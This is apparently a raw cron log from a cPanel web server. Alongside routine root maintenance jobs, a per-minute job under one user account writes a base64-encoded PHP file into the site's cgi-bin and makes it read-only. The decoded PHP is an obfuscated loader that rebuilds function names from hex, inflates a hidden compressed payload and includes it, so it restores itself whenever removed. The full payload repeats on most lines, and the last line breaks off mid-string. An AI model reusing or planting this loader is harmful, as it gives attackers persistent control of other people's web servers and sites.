Apr 12 13:43:01 server CROND[5862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:44:01 server CROND[5900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:45:01 server CROND[6045]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 13:45:01 server CROND[6047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:45:01 server CROND[6046]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 13:46:01 server CROND[6149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:47:01 server CROND[6201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:48:01 server CROND[6246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:49:01 server CROND[6307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:50:01 server CROND[6456]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 13:50:01 server CROND[6459]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 13:50:01 server CROND[6458]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 13:50:01 server CROND[6460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:50:01 server CROND[6457]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 13:51:01 server CROND[6572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:52:02 server CROND[6620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:53:01 server CROND[6668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:54:01 server CROND[6718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:55:01 server CROND[6868]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 13:55:01 server CROND[6869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:55:01 server CROND[6870]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 13:56:01 server CROND[6983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQK